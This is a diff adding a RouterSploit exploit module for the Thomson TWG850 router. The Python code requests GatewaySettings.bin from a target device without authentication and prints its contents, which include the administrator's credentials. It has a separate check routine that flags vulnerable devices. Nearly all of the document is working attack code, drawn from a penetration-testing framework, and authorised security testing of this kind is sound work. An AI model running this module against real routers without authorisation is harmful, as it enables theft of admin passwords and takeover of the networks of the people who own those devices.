Thompson TWG850 Password Disclosure exploit.

routersploit/modules/exploits/thomson/twg850_password_disclosure.py

+from routersploit import (
+    exploits,
+    print_success,
+    print_error,
+    print_info,
+    print_status,
+    http_request,
+    mute,
+    validators,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for Thomson TWG850 password disclosure vulnerability.
+    If the target is vulnerable, it allows read credentials for administration user.
+    """
+    __info__ = {
+        'name': 'Thomson TWG850 Password Disclosure',
+        'description': 'Module exploits Thomson TWG850 password disclosure vulnerability which allows fetching administration\'s password.',
+        'authors': [
+            'Sebastian Perez',  # vulnerability discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'https://packetstormsecurity.com/files/136135/Thomson-Router-TWG850-4U-XSS-CSRF-Unauthenticated-Access.html',
+        ],
+        'devices': [
+            'Thomson TWG850',
+        ]
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)
+    port = exploits.Option(80, 'Target Port')
+
+    def run(self):
+        url = "{}:{}/GatewaySettings.bin".format(self.target, self.port)
+
+        response = http_request(method="GET", url=url)
+        if response is None:
+            return
+
+        if response.status_code == 200 and "0MLog" in response.text:
+            print_success("Exploit success")
+            print_status("Reading file GatewaySettings.bin")
+            print_info(response.text)
+        else:
+            print_error("Exploit failed. Device seems to be not vulnerable.")
+
+    @mute
+    def check(self):
+        url = "{}:{}/GatewaySettings.bin".format(self.target, self.port)
+
+        response = http_request(method="GET", url=url)
+        if response is None:
+            return False  # target is not vulnerable
+
+        if response.status_code == 200 and "0MLog" in response.text:
+            return True  # target is vulnerable
+        else:
+            return False  # target is not vulnerable